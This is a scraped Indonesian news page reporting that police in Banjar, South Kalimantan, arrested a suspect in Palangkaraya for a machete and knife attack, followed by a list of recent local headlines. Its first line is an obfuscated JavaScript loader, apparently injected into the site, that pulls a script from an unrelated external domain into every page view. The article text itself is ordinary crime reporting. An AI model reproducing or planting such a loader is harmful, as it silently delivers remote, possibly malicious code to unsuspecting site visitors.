(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL BANJAR

Lukai AG Pakai Sajam, MI Ditangkap di Palangkaraya Dibawa ke Mapolsek Sungai Tabuk


KANALKALIMANTAN.COM, MARTAPURA – Penganiayaan yang melibatkan MI dan AG pada Minggu (29/10/2023) pukul 18.30 Wita, di Komplek Permata Raya Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar, akhirnya dibekuk.

Kasi Humas Polres Banjar, AKP H Suwarji mengatakan, kejadian berawal dari MI bersama dua temannya pergi ke rumah AG dan setiba di depan rumah AG, MI mengeluarkan sebilah senjata tajam berupa parang dari dalam celananya dan menebaskannya ke arah tangan kiri saksi 1 yang menyebabkan luka gores, sambil berteriak memanggil nama AG.

Tidak lama kemudian AG keluar dari dalam rumahnya, namun MI langsung menyambangi dan memukul dada AG satu kali. Kemudian MI mengeluarkan senjata tajam berupa pisau dapur ditodongkan dan menusukkannya ke arah wajah AG mengakibatkan luka robek pada wajah di pipi bagian kiri. Saksi lainnya keluar dari dalam rumah dan MI bergegas melarikan diri menggunakan sepeda motor. AG segera dibawa ke Puskesmas untuk mendapatkan penanganan medis.

Baca juga: Tiga Lelaki Rudapaksa MY di Pantai Aluh Bulan Kotabaru

“Kejadian ini dilaporkan ke Polsek Sungai Tabuk untuk proses hukum lebih lanjut. Tindakan MI terhadap AG dipicu oleh kesalahpahaman dalam menerima informasi dari seorang teman perempuannya,” ujarnya

Tidak membutuhkan waktu yang lama, Unit Reskrim Polsek Sungai Tabuk dan Resmob Polres Banjar segera melakukan penyelidikan. Diketahui MI sedang berada di Palangkaraya, Kalimantan Tengah. Tim gabungan berangkat ke tempat pelarian MI dengan dukungan Unit Jatanras Polresta Palangkaraya dan Resmob Polda Kalteng. Tersangka MI berhasil diamankan pada Rabu (1/11/2023) pukul 23.30 Wita.

Tersangka MI dan barang bukti berupa senjata tajam jenis parang dan pisau dapur yang digunakan dalam tindakan kekerasan terhadap AG berhasil ditemukan.

Baca juga: Pemilik Kafe Jual Miras di Trikora Banjarbaru Didenda Rp1,5 Juta

Sebelumnya barang bukti tersebut dibuang oleh MI saat sedang melarikan diri di Komplek Permata Raya Desa Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar.

Tersangka beserta barang bukti kemudian dibawa ke Polsek Sungai Tabuk untuk proses hukum lebih lanjut. Kasus ini akan terus diproses sesuai dengan hukum yang berlaku,” tutupnya. (Kanalkalimantan.com/nh)

Reporter: nh
Editor: bie


Risa

Recent Posts

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

2 jam ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

4 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

6 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

7 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

7 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

20 jam ago

This website uses cookies.